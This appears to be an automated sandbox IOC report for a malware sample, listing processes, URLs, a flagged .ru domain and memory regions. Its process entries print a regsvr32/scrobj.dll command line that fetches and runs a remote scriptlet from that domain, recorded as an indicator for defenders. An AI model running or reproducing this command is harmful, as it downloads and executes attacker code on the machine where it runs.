IOC Report

loading gif

Processes

Path
Cmdline
Malicious
C:\Windows\SysWOW64\cmd.exe
cmd /C "regsvr32 /s /n /u /i:http://server1.aserdefa.ru/deploy.xml scrobj.dll"
 malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\SysWOW64\regsvr32.exe
regsvr32 /s /n /u /i:http://server1.aserdefa.ru/deploy.xml scrobj.dll

URLs

Name
IP
Malicious
http://server1.aserdefa.ru/
unknown
 malicious
http://server1.aserdefa.ru/deploy.xml
unknown
 malicious
http://server1.aserdefa.ru/deploy.xmly
unknown
http://server1.aserdefa.ru/deploy.xmlscrobj.dll5
unknown
http://server1.aserdefa.ru/deploy.xml4
unknown

Domains

Name
IP
Malicious
server1.aserdefa.ru
unknown
 malicious

Memdumps

Base Address
Regiontype
Protect
Malicious
51F000
heap
page read and write
447E000
stack
page read and write
160000
heap
page read and write
4CA000
heap
page read and write
44BE000
stack
page read and write
400F000
stack
page read and write
F9000
stack
page read and write
1FE000
stack
page read and write
4A0000
heap
page read and write
506000
heap
page read and write
3FCE000
stack
page read and write
180000
heap
page read and write
532000
heap
page read and write
3F0D000
stack
page read and write
3E8E000
stack
page read and write
175000
heap
page read and write
490000
heap
page read and write
518000
heap
page read and write
BB000
stack
page read and write
170000
heap
page read and write
4EB000
heap
page read and write
4030000
heap
page read and write
3F4E000
stack
page read and write
43E000
stack
page read and write
43CE000
stack
page read and write
440F000
stack
page read and write
47E000
stack
page read and write
3F8E000
stack
page read and write
3ECC000
stack
page read and write
4C0000
heap
page read and write
There are 20 hidden memdumps, click here to show them.